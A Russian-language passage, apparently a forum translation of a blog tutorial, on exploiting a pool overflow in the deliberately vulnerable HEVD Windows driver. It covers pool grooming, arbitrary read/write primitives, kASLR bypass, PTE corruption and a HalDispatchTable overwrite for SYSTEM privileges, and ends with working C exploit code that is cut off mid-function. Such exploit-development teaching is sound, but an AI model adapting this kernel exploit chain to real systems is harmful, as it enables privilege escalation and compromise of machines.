Поскольку этот фрагмент составляет 16 байтов и будет частью kLFH, ему предшествует стандартная структура _POOL_HEADER. Поскольку это так и кодирования нет, мы можем просто жестко закодировать значение _POOL_HEADER (напомним, что _POOL_HEADER будет на 0x10 байтов перед значением, возвращаемым ExAllocatePoolWithTag). Это означает, что мы можем жестко закодировать значение 0x6b63614802020000 в нашем эксплойте, чтобы во время переполнения в следующий фрагмент, который должен был быть в одном из этих ARW_HELPER_OBJECT_NON_PAGED_POOL_NX объектов, которые мы ранее распыляли, первые 0x10 байтов, которые были переполнены в этом фрагменте, который будет ARW_HELPER_OBJECT_NON_PAGED_POOL_NX _POOL_HEADER, будет сохранен и сохранен как действительный, минуя более раннюю проблему, показанную при возникновении недопустимого заголовка

Зная об этом и зная, что нам предстоит немного поработать, давайте изменим наш текущий эксплойт, чтобы сделать его более логичным. Мы создадим три функции для выполнения grooming:
  1. fillHoles()
  2. groomPool()
  3. pokeHoles()
Эти функции можно увидеть ниже.

fillHoles()

51.png


groomPool()

52.png


pokeHoles()

53.png


Пожалуйста, обратитесь к Части 1, чтобы понять, что это делает, но, по сути, этот метод заполнит любые фрагменты в соответствующей корзине kLFH в NonPagedPoolNx и заставит диспетчер памяти (теоретически) предоставить нам новую страницу для работы. Затем мы заполняем эту новую страницу объектами, которые мы контролируем, например объекты ARW_HELPER_OBJECT_NON_PAGED_POOL_NX

Поскольку у нас есть контролируемое переполнение на основе пула, цель будет состоять в том, чтобы перезаписать любую из структур ARW_HELPER_OBJECT_NON_PAGED_POOL_NX «уязвимым фрагментом», который копирует память в выделение без проверки границ. Поскольку уязвимый фрагмент и фрагменты ARW_HELPER_OBJECT_NON_PAGED_POOL_NX имеют одинаковый размер, теоретически они оба окажутся смежными друг с другом, поскольку они окажутся в одном ведре kLFH.

Последняя функция, называемая readwritePrimitive(), содержит большую часть кода эксплойта.

Первый бит этой функции создает «основной» ARW_HELPER_OBJECT_NON_PAGED_POOL_NX через объект ARW_HELPER_OBJECT_IO и выполняет заполнение блоков пула, заполняет новую страницу объектами, которые мы контролируем, а затем освобождает все остальные из этих объектов.

55.png


После освобождения всех остальных объектов мы заменяем эти освобожденные слоты нашими уязвимыми буферами. Мы также создаем «автономный/основной» объект ARW_HELPER_OBJECT_NON_PAGED_POOL_NX. Также обратите внимание, что заголовок пула имеет размер 16 байтов, то есть это 2 QWORDS, отсюда «Padding».

55.png


На самом деле мы надеемся здесь сделать следующее.

56.png


Мы хотим использовать управляемую запись только для перезаписи первого члена этого соседнего объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, Name. Это связано с тем, что у нас есть дополнительные примитивы для управления и возврата этих значений члена Name, как показано в этом сообщении в блоге. Однако проблема, с которой мы столкнулись до сих пор, заключается в том, что адрес члена Name объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX полностью контролируется драйвером и не может быть изменен нами, если мы не используем уязвимость (например, переполнение пула)

Как показано в функции readwritePrimitive(), цель здесь будет состоять в том, чтобы фактически повредить соседние блоки с адресом «основного» объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, которым мы будем управлять через ARW_HELPER_OBJECT_IO.HelperObjectAddress. Мы хотели бы повредить соседний объект ARW_HELPER_OBJECT_NON_PAGED_POOL_NX точным переполнением, чтобы испортить значение Name адресом нашего «основного» объекта. В настоящее время это значение установлено на 0x9090909090909090. Как только мы докажем, что это возможно, мы можем пойти дальше, чтобы получить в конечном итоге примитив чтения/записи

Установив точку останова для подпрограммы TriggerBufferOverflowNonPagedPoolNx в HEVD.sys и установив дополнительную точку останова для подпрограммы memcpy, которая выполняет переполнение пула, мы можем исследовать содержимое пула.

57.png


Как видно на изображении выше, мы ясно видим, что мы заполнили пул контролируемыми объектами ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, а также «текущим» фрагментом, который относится к уязвимому фрагменту, используемому при переполнении пула. Все эти фрагменты начинаются с тега Hack.

Затем, после пошагового выполнения до подпрограммы mempcy, мы можем проверить содержимое следующего фрагмента, который находится на 0x10 байтов после значения в RCX, которое используется в месте назначения для операции копирования памяти. Помните - наша цель - перезаписать соседние блоки пула. Пошаговое выполнение операции, чтобы четко увидеть, что мы испортили следующий фрагмент пула, который имеет тип ARW_HELPER_OBJECT_NON_PAGED_POOL_NX

58.png


59.png


Мы можем проверить, что адрес, который был записан за границу, на самом деле является адресом «основного», автономного объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, который мы создали.

60.png


Помните - структура _POOL_HEADER имеет длину 0x10 байт. Это делает общий размер каждого фрагмента пула в этом ведре kLFH 0x20 байтов. Поскольку мы хотим переполнить соседние блоки, нам нужно сохранить заголовок пула. Поскольку мы находимся в kLFH, мы можем просто жестко закодировать заголовок пула, как мы доказали, чтобы удовлетворить пул и избежать каких-либо сбоев, которые могут возникнуть в результате неправильного фрагмента пула. Кроме того, мы можем испортить первые 0x10 байтов значения в RCX, которое является адресом назначения в операции копирования памяти, потому что в «уязвимом» фрагменте пула (который используется в операции копирования) есть 0x20 байтов. Первые 0x10 байтов - это заголовок, а вторая половина нас фактически не волнует, так как мы беспокоимся о повреждении соседнего фрагмента. Из-за этого мы можем установить первые 0x10 байтов нашей копии, которая записывает за пределы, на 0x10, чтобы гарантировать, что байты, которые копируются за пределы, являются байтами, которые составляют заголовок пула следующего фрагмента.

Теперь мы успешно выполнили запись за пределы диапазона через переполнение пула и повредили член Name соседнего объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, который динамически выделяется в пуле раньше и имеет адрес, который мы не контролируем, если мы не используем уязвимость например, запись за границу, с адресом, который мы контролируем, который является адресом объекта, созданного ранее

Arbitrary Read Примитив​

Хотя в настоящее время это может быть не совсем очевидным, наша стратегия использования уязвимостей вращается вокруг нашей способности использовать переполнение пула для записи за пределы. Напомним, что возможности «Установить» и «Получить» в драйвере позволяют нам читать и писать в память, но не в контролируемых местах. Расположение контролируется блоком пула, выделенным для члена Name объекта ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.

Давайте посмотрим на поврежденный объект ARW_HELPER_OBJECT_NON_PAGED_POOL_NX. Поврежденный объект - один из множества распыленных объектов. Мы успешно заменили элемент Name этого объекта адресом «основного» или автономного объекта ARE_HELPER_OBJECT_NON_PAGED_POOL_NX.

61.png


Мы знаем, что можно установить член Name структуры ARW_HELPER_OBJECT_NON_PAGED_POOL_NX через функцию SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx через вызов IOCTL. Поскольку теперь мы можем контролировать значение Name в поврежденном объекте, давайте посмотрим, сможем ли мы злоупотребить этим с помощью произвольного примитива чтения.

Давайте разберемся с этим. Мы знаем, что в настоящее время у нас есть поврежденный объект с членом Name, которому присвоено значение другого объекта. Для краткости можно вспомнить это из предыдущего изображения.

61.png


Если мы выполняем операцию «Установить» в данный момент на поврежденном объекте, показанном в команде dt, и в настоящее время для его члена Name установлено значение 0xffffa00ca378c210, он выполнит эту операцию для члена Name. Однако мы знаем, что член Name на самом деле в настоящее время установлен на значение «основного» объекта через запись за границу! Это означает, что выполнение операции «Установить» на поврежденном объекте будет фактически принимать адрес основного объекта, поскольку он установлен в члене Name, разыменовать его и записать указанное нами содержимое. Это приведет к тому, что наш основной объект будет указывать на то, что мы укажем, вместо значения ffffa00ca378c3b0, которое в настоящее время отображается в содержимом памяти, отображаемом dq в WinDbg. Как это превращается в произвольный примитив чтения? Поскольку наш «основной» объект будет указывать на любой адрес, который мы укажем, операция «Get», если она выполняется с «основным» объектом, затем разыменует этот указанный нами адрес и вернет значение!

В WinDbg мы можем «имитировать» операцию «Set», как показано.

62.png


Выполнение операции «Set» на поврежденном объекте фактически установит значение нашего основного объекта на то, что указано пользователю, из-за того, что мы повредили предыдущий случайный адрес из-за уязвимости переполнения пула. На этом этапе выполнение операции «Get» для нашего основного объекта, поскольку он был установлен на значение, указанное пользователем, приведет к разыменованию значения и вернет его нам!

На этом этапе нам нужно определить, какова наша цель. Чтобы полностью обойти kASLR, наша цель заключается в следующем:
  1. Используйте базовый адрес HEVD.sys из исходного эксплойта в первой части, чтобы указать смещение для таблицы адресов импорта.
  2. Предоставьте запись IAT, которая указывает на ntoskrnl.exe для произвольного чтения эксплойта (таким образом получая указатель на ntoskrnl.exe)
  3. Рассчитайте расстояние от указателя до ядра, чтобы получить базу
63.png


65.png


Мы можем обновить наш код, чтобы обрисовать это. Как вы помните, мы подготовили пул с 5000 объектами ARW_HELPER_OBJECT_NON_PAGED_POOL_NX. Однако мы не обрызгали бассейн 5000 «уязвимыми» объектами. Поскольку мы подготовили пул, мы знаем, что наш уязвимый объект, который мы можем произвольно записывать в прошлое, в конечном итоге окажется рядом с одним из объектов, используемых для очистки. Поскольку мы запускаем переполнение только один раз, и поскольку мы уже установили значения Name для всех объектов, используемых для ухода, значение 0x9090909090909090, мы можем просто использовать операцию «Get» для просмотра каждого члена Name используемых объектов. для ухода за шерстью. Если один из объектов не содержит NOP, это указывает на то, что переполнение пула, описанное ранее, чтобы повредить значение имени ARW_HELPER_OBJECT_NON_PAGED_POOL_NX, прошло успешно.

66.png


После этого мы можем затем использовать тот же примитив, о котором говорилось ранее, используя функцию «Set» в HEVD, чтобы установить член Name целевого поврежденного объекта, что фактически «обманет» программу, чтобы перезаписать член Name поврежденного объекта. , который на самом деле является адресом «автономного»/основного ARW_HELPER_OBJECT_NON_PAGED_POOL_NX. Перезапись приведет к разыменованию автономного объекта, что позволит использовать произвольный примитив чтения, поскольку у нас есть возможность позже использовать функцию «Get» для основного объекта.

67.png


Затем мы можем добавить к нашему эксплойту функцию «press enter to continue», чтобы приостановить выполнение после того, как основной объект будет выведен на экран, а также поврежденный объект, используемый для очистки, который находится в 5000 объектах, используемых для очистки.

68.png


Затем мы можем взять адрес 0xffff8e03c8d5c2b0, который является поврежденным объектом, и проверить его в WinDbg. Если все идет хорошо, этот адрес должен содержать адрес «основного» объекта.

69.png


Сравнивая элемент Name с предыдущим снимком экрана, на котором используется эксплойт с оператором «press enter to continue», мы видим, что повреждение пула было успешным и что член Name одного из 5000 объектов, используемых для очистки, был перезаписан!

Теперь, если бы мы использовали функцию «Установить» HEVD и предоставили объект ARW_HELPER_OBJECT_NON_PAGED_POOL, который был поврежден и также использовался для очистки, по адресу 0xffff8e03c8d5c2b0, HEVD использовал бы значение, хранящееся в Name, разыменовав его и перезаписав его. Это связано с тем, что HEVD ожидает одного из распределений пула, ранее показанных для указателей Name, которые мы не контролируем. Поскольку мы предоставили другой адрес, HEVD фактически выполнит перезапись, но на этот раз он перезапишет предоставленный нами указатель, который является другим ARW_HELPER_OBJECT_NON_PAGED_POOL. Поскольку первый член одного из этих объектов имеет имя члена, произойдет то, что HEVD фактически запишет все, что мы передаем члену Name нашего основного объекта! Давайте посмотрим на это в WinDbg.

Как показал наш эксплойт, в этом случае мы используем HEVD + 0x2038. Это значение нужно записать в наш основной объект

70.png


Как видите, у нашего основного объекта теперь есть член Name, указывающий на HEVD + 0x2038, который является указателем на ядро! После запуска полного эксплойта мы теперь получили базовый адрес HEVD из предыдущего эксплойта, а теперь и базу ядра посредством произвольного чтения посредством переполнения пула - все из-за низкой целостности!

// Ограничение на кол-во прикрепляемых файлов не позволяет мне сделать перевод одним постом. Второй кусок будет ниже
 
Последнее редактирование:
71.png


Красота этой техники использования двух объектов теперь должна быть ясна - нам не нужно постоянно выполнять переполнение объектов для выполнения эксплуатации. Теперь мы можем просто использовать основной объект для чтения!

Наша техника эксплуатации будет заключаться в повреждении записей таблицы страниц нашей конечной страницы памяти, на которой находится наш шелл-код. Если вы не знакомы с этой техникой, у меня есть два блога, написанных на эту тему, плюс один о подкачке памяти. Вы можете найти их здесь: один, два и три.

Для наших целей нам потребуется прочитать следующее:
  1. nt!MiGetPteAddress+0x13 - содержит базу PTE, необходимых для вычислений
  2. Биты PTE, составляющие страницу шеллкода
  3. [nt!HalDispatchTable + 0x8] - используется для выполнения нашего шелл-кода. Сначала нам нужно сохранить этот адрес, прочитав его, чтобы обеспечить стабильность эксплойта.
Давайте добавим процедуру для решения первой проблемы - чтение базы записей таблицы страниц. Мы можем вычислить смещение для функции MiGetPteAddress + 0x13, а затем использовать наш произвольный примитив чтения.

72.png


73.png


Используя тот же метод, что и раньше, мы видим, что победили рандомизацию таблиц страниц и получили базу записей в таблице страниц!

74.png


75.png


Следующим шагом является получение битов PTE, составляющих страницу шеллкода. В конечном итоге мы запишем наш шелл-код в KUSER_SHARED_DATA + 0x800 в режиме ядра, который имеет статический адрес 0xfffff87000000800. Мы можем настроить процедуру для получения этой информации на C.

76.png


После запуска обновленного эксплойта мы видим, что можем просочить биты PTE для KUSER_SHARED_DATA + 0x800, где в конечном итоге будет находиться наш шелл-код.

77.png


78.png


Обратите внимание, что расширение !pte в WinDbg доставляло мне проблемы. Итак, на отлаживаемой машине я запустил WinDbg «classic» с локальной отладкой ядра (lkd), чтобы показать содержимое !pte. Обратите внимание, что фактический виртуальный адрес PTE изменился, но содержимое битов PTE осталось прежним. Это происходит из-за того, что я перезагружаю машину и включаю kASLR. «Классический» снимок экрана WinDbg предназначен для того, чтобы просто обрисовать в общих чертах содержимое PTE.

78a.png


Вы можете просмотреть этот предыдущий пост) от меня, чтобы понять, какие права есть у KUSER_SHARED_DATA: запись, но не выполнение. Последний элемент, который нам нужен, - это содержимое [nt!HalDispatchTable].

79.png


80.png


После выполнения обновленного кода мы видим, что сохранили значение [nt!HalDispatchTable + 0x8]

81.png


82.png


Последний пункт повестки дня - примитив записи, который на 99 процентов идентичен примитиву чтения. После написания нашего шелл-кода в режиме ядра и последующего повреждения PTE страницы шелл-кода мы сможем успешно повысить наши привилегии.

Arbitrary Write Примитив​

Используя те же концепции, что и в примитиве произвольного чтения, мы также можем произвольно перезаписывать 64-битные указатели! Вместо использования операции «Get» для получения разыменованного содержимого значения Name, указанного «поврежденным» объектом ARW_HELPER_NON_PAGED_POOL_NX, а затем возврата этого значения к значению Name, указанному «основным» объектом, на этот раз мы установим Значение Name «основного» объекта не на указатель, который получает содержимое, а на значение того, чем мы хотели бы перезаписать память. В этом случае мы хотим установить это значение равным значению шелл-кода, а затем установить значение имени «поврежденного» объекта на KUSER_SHARED_DATA + 0x800 постепенно.

83.png


84.png


Отсюда мы можем запустить наш обновленный эксплойт. Поскольку мы создали цикл для автоматизации процесса записи, мы видим, что можем произвольно записывать содержимое 9 QWORDS, составляющих наш шелл-код, в KUSER_SHARED_DATA + 0x800

85.png


Мы успешно выполнили произвольный примитив записи! Следующая цель - испортить содержимое PTE для страницы KUSER_SHARED_DATA + 0x800.

86.png


Отсюда мы можем использовать WinDbg classic для проверки PTE до и после операции записи.

87.png


Нашему эксплойту теперь нужны еще три вещи:
  1. Поврежден [nt! HalDispatchTable+0x8], чтобы указать на KUSER_SHARED_DATA + 0x800
  2. Вызов ntdll!NtQueryIntervalPRofile, который выполнит переход в режим ядра для вызова [nt!HalDispatchTable + 0x8], таким образом выполняя наш шелл-код
  3. Восстановите [nt!HalDispatchTable + 0x8] с произвольным примитивом записи
Давайте обновим наш код эксплойта, чтобы выполнить первый шаг.

88.png


После выполнения обновленного кода мы видим, что мы успешно перезаписали nt!HalDispatchTable + 0x8 адресом KUSER_SHARED_DATA + 0x800, который содержит наш шелл-код!

89.png


Затем мы можем добавить маршрутизацию для динамического разрешения ntdll!NtQueryIntervalProfile, вызвать его и затем восстановить [nt!HalDispatchTable + 0x8]

90.png


91.png


Конечный результат - системная оболочка с низкой целостностью!

// Тут GIF, но на форум он не подгрузился

…Unless We Conquer, As Conquer We Must, As Conquer We Shall.”​

Надеюсь, вы, как читатель, нашли эту серию из двух частей о повреждении пула полезной! Как уже упоминалось в начале этого поста, мы должны ожидать, что в будущем будут включены такие средства защиты, как VBS и HVCI. ROP по-прежнему является жизнеспособной альтернативой в ядре из-за отсутствия ядра CET (kCET) на данный момент (хотя я уверен, что это может быть изменено). Таким образом, такие методы, как описанный в этом сообщении в блоге, скоро станут устаревшими, что оставит нам меньше возможностей для эксплуатации, чем то, что мы начали. Атаки только данных всегда жизнеспособны, и было упомянуто больше новых методов, таких как этот твит, отправленный мне Дмитрием, в котором говорится об использовании ROP для подделки вызовов функций ядра даже при включенном VBS / HVCI. Как видно из названия этого последнего раздела блога, где есть желание, есть способ - и хотя планка будет поднята, это только нормальное явление для курса разработки эксплойтов за последние несколько лет. KPP + VBS + HVCI + kCFG / kXFG + SMEP + DEP + kASLR + kCET и многие другие средства защиты окажутся очень полезными для блокировки большинства эксплойтов. Я надеюсь, что исследователи останутся голодными и продолжат раздвигать границы с помощью этих средств смягчения, чтобы найти новые способы поддерживать разработку эксплойтов!

Мира, любви и позитива :)

Вот финальный код эксплойта, который также доступен на моем GitHub:
C:
// HackSysExtreme Vulnerable Driver: Pool Overflow + Memory Disclosure
// Author: Connor McGarr (@33y0re)

#include <windows.h>
#include <stdio.h>

// typdef an ARW_HELPER_OBJECT_IO struct
typedef struct _ARW_HELPER_OBJECT_IO
{
PVOID HelperObjectAddress;
PVOID Name;
SIZE_T Length;
} ARW_HELPER_OBJECT_IO, * PARW_HELPER_OBJECT_IO;

// Create a global array of ARW_HELPER_OBJECT_IO objects to manage the groomed pool allocations
ARW_HELPER_OBJECT_IO helperobjectArray[5000] = { 0 };

// Prepping call to nt!NtQueryIntervalProfile
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);

// Leak the base of HEVD.sys
unsigned long long memLeak(HANDLE driverHandle)
{
// Array to manage handles opened by CreateEventA
HANDLE eventObjects[5000];

// Spray 5000 objects to fill the new page
for (int i = 0; i <= 5000; i++)
{
// Create the objects
HANDLE tempHandle = CreateEventA(
NULL,
FALSE,
FALSE,
NULL
);

// Assign the handles to the array
eventObjects[i] = tempHandle;
}

// Check to see if the first handle is a valid handle
if (eventObjects[0] == NULL)
{
printf("[-] Error! Unable to spray CreateEventA objects! Error: 0x%lx\n", GetLastError());

return 0x1;
exit(-1);
}
else
{
printf("[+] Sprayed CreateEventA objects to fill holes of size 0x80!\n");

// Close half of the handles
for (int i = 0; i <= 5000; i += 2)
{
BOOL tempHandle1 = CloseHandle(
eventObjects[i]
);

eventObjects[i] = NULL;

// Error handling
if (!tempHandle1)
{
printf("[-] Error! Unable to free the CreateEventA objects! Error: 0x%lx\n", GetLastError());

return 0x1;
exit(-1);
}
}

printf("[+] Poked holes in the new pool page!\n");

// Allocate UaF Objects in place of the poked holes by just invoking the IOCTL, which will call ExAllocatePoolWithTag for a UAF object
// kLFH should automatically fill the freed holes with the UAF objects
DWORD bytesReturned;

for (int i = 0; i < 2500; i++)
{
DeviceIoControl(
driverHandle,
0x00222053,
NULL,
0,
NULL,
0,
&bytesReturned,
NULL
);
}

printf("[+] Allocated objects containing a pointer to HEVD in place of the freed CreateEventA objects!\n");

// Close the rest of the event objects
for (int i = 1; i <= 5000; i += 2)
{
BOOL tempHandle2 = CloseHandle(
eventObjects[i]
);

eventObjects[i] = NULL;

// Error handling
if (!tempHandle2)
{
printf("[-] Error! Unable to free the rest of the CreateEventA objects! Error: 0x%lx\n", GetLastError());

return 0x1;
exit(-1);
}
}

// Array to store the buffer (output buffer for DeviceIoControl) and the base address
unsigned long long outputBuffer[100];
unsigned long long hevdBase = 0;

// Everything is now, theoretically, [FREE, UAFOBJ, FREE, UAFOBJ, FREE, UAFOBJ], barring any more randomization from the kLFH
// Fill some of the holes, but not all, with vulnerable chunks that can read out-of-bounds (we don't want to fill up all the way to avoid reading from a page that isn't mapped)

for (int i = 0; i <= 100; i++)
{
// Return buffer
DWORD bytesReturned1;

DeviceIoControl(
driverHandle,
0x0022204f,
NULL,
0,
&outputBuffer,
sizeof(outputBuffer),
&bytesReturned1,
NULL
);

}

printf("[+] Successfully triggered the out-of-bounds read!\n");

// Parse the output
for (int i = 0; i <= 100; i++)
{
// Kernel mode address?
if ((outputBuffer[i] & 0xfffff00000000000) == 0xfffff00000000000)
{
printf("[+] Address of function pointer in HEVD.sys: 0x%llx\n", outputBuffer[i]);
printf("[+] Base address of HEVD.sys: 0x%llx\n", outputBuffer[i] - 0x880CC);

// Store the variable for future usage
hevdBase = outputBuffer[i] - 0x880CC;

// Return the value of the base of HEVD
return hevdBase;
}
}
}
}

// Function used to fill the holes in pool pages
void fillHoles(HANDLE driverHandle)
{
// Instantiate an ARW_HELPER_OBJECT_IO
ARW_HELPER_OBJECT_IO tempObject = { 0 };

// Value to assign the Name member of each ARW_HELPER_OBJECT_IO
unsigned long long nameValue = 0x9090909090909090;

// Set the length to 0x8 so that the Name member of an ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object allocated in the pool has its Name member allocated to size 0x8, a 64-bit pointer size
tempObject.Length = 0x8;

// Bytes returned
DWORD bytesreturnedFill;

for (int i = 0; i <= 5000; i++)
{
// Set the Name value to 0x9090909090909090
tempObject.Name = &nameValue;

// Allocate a ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object with a Name member of size 0x8 and a Name value of 0x9090909090909090
DeviceIoControl(
driverHandle,
0x00222063,
&tempObject,
sizeof(tempObject),
&tempObject,
sizeof(tempObject),
&bytesreturnedFill,
NULL
);

// Using non-controlled arbitrary write to set the Name member of the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object to 0x9090909090909090 via the Name member of each ARW_HELPER_OBJECT_IO
// This will be used later on to filter out which ARW_HELPER_OBJECT_NON_PAGED_POOL_NX HAVE NOT been corrupted successfully (e.g. their Name member is 0x9090909090909090 still)
DeviceIoControl(
driverHandle,
0x00222067,
&tempObject,
sizeof(tempObject),
&tempObject,
sizeof(tempObject),
&bytesreturnedFill,
NULL
);

// After allocating the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects (via the ARW_HELPER_OBJECT_IO objects), assign each ARW_HELPER_OBJECT_IO structures to the global managing array
helperobjectArray[i] = tempObject;
}

printf("[+] Sprayed ARW_HELPER_OBJECT_IO objects to fill holes in the NonPagedPoolNx with ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects!\n");
}

// Fill up the new page within the NonPagedPoolNx with ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects
void groomPool(HANDLE driverHandle)
{
// Instantiate an ARW_HELPER_OBJECT_IO
ARW_HELPER_OBJECT_IO tempObject1 = { 0 };

// Value to assign the Name member of each ARW_HELPER_OBJECT_IO
unsigned long long nameValue1 = 0x9090909090909090;

// Set the length to 0x8 so that the Name member of an ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object allocated in the pool has its Name member allocated to size 0x8, a 64-bit pointer size
tempObject1.Length = 0x8;

// Bytes returned
DWORD bytesreturnedGroom;

for (int i = 0; i <= 5000; i++)
{
// Set the Name value to 0x9090909090909090
tempObject1.Name = &nameValue1;

// Allocate a ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object with a Name member of size 0x8 and a Name value of 0x9090909090909090
DeviceIoControl(
driverHandle,
0x00222063,
&tempObject1,
sizeof(tempObject1),
&tempObject1,
sizeof(tempObject1),
&bytesreturnedGroom,
NULL
);

// Using non-controlled arbitrary write to set the Name member of the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object to 0x9090909090909090 via the Name member of each ARW_HELPER_OBJECT_IO
// This will be used later on to filter out which ARW_HELPER_OBJECT_NON_PAGED_POOL_NX HAVE NOT been corrupted successfully (e.g. their Name member is 0x9090909090909090 still)
DeviceIoControl(
driverHandle,
0x00222067,
&tempObject1,
sizeof(tempObject1),
&tempObject1,
sizeof(tempObject1),
&bytesreturnedGroom,
NULL
);

// After allocating the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects (via the ARW_HELPER_OBJECT_IO objects), assign each ARW_HELPER_OBJECT_IO structures to the global managing array
helperobjectArray[i] = tempObject1;
}

printf("[+] Filled the new page with ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects!\n");
}

// Free every other object in the global array to poke holes for the vulnerable objects
void pokeHoles(HANDLE driverHandle)
{
// Bytes returned
DWORD bytesreturnedPoke;

// Free every other element in the global array managing objects in the new page from grooming
for (int i = 0; i <= 5000; i += 2)
{
DeviceIoControl(
driverHandle,
0x0022206f,
&helperobjectArray[i],
sizeof(helperobjectArray[i]),
&helperobjectArray[i],
sizeof(helperobjectArray[i]),
&bytesreturnedPoke,
NULL
);
}

printf("[+] Poked holes in the NonPagedPoolNx page containing the ARW_HELPER_OBJECT_NON_PAGED_POOL_NX objects!\n");
}

// Create the main ARW_HELPER_OBJECT_IO
ARW_HELPER_OBJECT_IO createmainObject(HANDLE driverHandle)
{
// Instantiate an object of type ARW_HELPER_OBJECT_IO
ARW_HELPER_OBJECT_IO helperObject = { 0 };

// Set the Length member which corresponds to the amount of memory used to allocate a chunk to store the Name member eventually
helperObject.Length = 0x8;

// Bytes returned
DWORD bytesReturned2;

// Invoke CreateArbitraryReadWriteHelperObjectNonPagedPoolNx to create the main ARW_HELPER_OBJECT_NON_PAGED_POOL_NX
DeviceIoControl(
driverHandle,
0x00222063,
&helperObject,
sizeof(helperObject),
&helperObject,
sizeof(helperObject),
&bytesReturned2,
NULL
);

// Parse the output
printf("[+] PARW_HELPER_OBJECT_IO->HelperObjectAddress: 0x%p\n", helperObject.HelperObjectAddress);
printf("[+] PARW_HELPER_OBJECT_IO->Name: 0x%p\n", helperObject.Name);
printf("[+] PARW_HELPER_OBJECT_IO->Length: 0x%zu\n", helperObject.Length);

return helperObject;
}

// Read/write primitive
void readwritePrimitive(HANDLE driverHandle)
{
// Store the value of the base of HEVD
unsigned long long hevdBase = memLeak(driverHandle);

// Store the main ARW_HELOPER_OBJECT
ARW_HELPER_OBJECT_IO mainObject = createmainObject(driverHandle);

// Fill the holes
fillHoles(driverHandle);

// Groom the pool
groomPool(driverHandle);

// Poke holes
pokeHoles(driverHandle);

// Use buffer overflow to take "main" ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object's Name value (managed by ARW_HELPER_OBJECT_IO.Name) to overwrite any of the groomed ARW_HELPER_OBJECT_NON_PAGED_POOL_NX.Name values
// Create a buffer that first fills up the vulnerable chunk of 0x10 (16) bytes
unsigned long long vulnBuffer[5];
vulnBuffer[0] = 0x4141414141414141;
vulnBuffer[1] = 0x4141414141414141;

// Hardcode the _POOL_HEADER value for a ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object
vulnBuffer[2] = 0x6b63614802020000;

// Padding
vulnBuffer[3] = 0x4141414141414141;

// Overwrite any of the adjacent ARW_HELPER_OBJECT_NON_PAGED_POOL_NX object's Name member with the address of the "main" ARW_HELPER_OBJECT_NON_PAGED_POOL_NX (via ARW_HELPER_OBJECT_IO.HelperObjectAddress)
vulnBuffer[4] = mainObject.HelperObjectAddress;

// Bytes returned
DWORD bytesreturnedOverflow;
DWORD bytesreturnedreadPrimtitve;

printf("[+] Triggering the out-of-bounds-write via pool overflow!\n");

// Trigger the pool overflow
DeviceIoControl(
driverHandle,
0x0022204b,
&vulnBuffer,
sizeof(vulnBuffer),
&vulnBuffer,
0x28,
&bytesreturnedOverflow,
NULL
);

// Find which "groomed" object was overflowed
int index = 0;
unsigned long long placeholder = 0x9090909090909090;

// Loop through every groomed object to find out which Name member was overwritten with the main ARW_HELPER_NON_PAGED_POOL_NX object
for (int i = 0; i <= 5000; i++)
{
// The placeholder variable will be overwritten. Get operation will overwrite this variable with the real contents of each object's Name member
helperobjectArray[i].Name = &placeholder;

DeviceIoControl(
driverHandle,
0x0022206b,
&helperobjectArray[i],
sizeof(helperobjectArray[i]),
&helperobjectArray[i],
sizeof(helperobjectArray[i]),
&bytesreturnedreadPrimtitve,
NULL
);

// Loop until a Name value other than the original NOPs is found
if (placeholder != 0x9090909090909090)
{
printf("[+] Found the overflowed object overwritten with main ARW_HELPER_NON_PAGED_POOL_NX object!\n");
printf("[+] PARW_HELPER_OBJECT_IO->HelperObjectAddress: 0x%p\n", helperobjectArray[i].HelperObjectAddress);

// Assign the index
index = i;

printf("[+] Array index of global array managing groomed objects: %d\n", index);

// Break the loop
break;
}
}

// IAT entry from HEVD.sys which points to nt!ExAllocatePoolWithTag
unsigned long long ntiatLeak = hevdBase + 0x2038;

// Print update
printf("[+] Target HEVD.sys address with pointer to ntoskrnl.exe: 0x%llx\n", ntiatLeak);

// Assign the target address to the corrupted object
helperobjectArray[index].Name = &ntiatLeak;

// Set the Name member of the "corrupted" object managed by the global array. The main object is currently set to the Name member of one of the sprayed ARW_HELPER_OBJECT_NON_PAGED_POOL_NX that was corrupted via the pool overflow
DeviceIoControl(
driverHandle,
0x00222067,
&helperobjectArray[index],
sizeof(helperobjectArray[index]),
NULL,
NULL,
&bytesreturnedreadPrimtitve,
NULL
);

// Declare variable that will receive the address of nt!ExAllocatePoolWithTag and initialize it
unsigned long long ntPointer = 0x9090909090909090;

// Setting the Name member of the main object to the address of the ntPointer variable. When the Name member is dereferenced and bubbled back up to user mode, it will overwrite the value of ntPointer
mainObject.Name = &ntPointer;

// Perform the "Get" operation on the main object, which should now have the Name member set to the IAT entry from HEVD
DeviceIoControl(
driverHandle,
0x0022206b,
&mainObject,
sizeof(mainObject),
&mainObject,
sizeof(mainObject),
&bytesreturnedreadPrimtitve,
NULL
);

// Print the pointer to nt!ExAllocatePoolWithTag
printf("[+] Leaked ntoskrnl.exe pointer! nt!ExAllocatePoolWithTag: 0x%llx\n", ntPointer);

// Assign a variable the base of the kernel (static offset)
unsigned long long kernelBase = ntPointer - 0x9b3160;

// Print the base of the kernel
printf("[+] ntoskrnl.exe base address: 0x%llx\n", kernelBase);

// Assign a variable with nt!MiGetPteAddress+0x13
unsigned long long migetpteAddress = kernelBase + 0x222073;

// Print update
printf("[+] nt!MiGetPteAddress+0x13: 0x%llx\n", migetpteAddress);

// Assign the target address to the corrupted object
helperobjectArray[index].Name = &migetpteAddress;

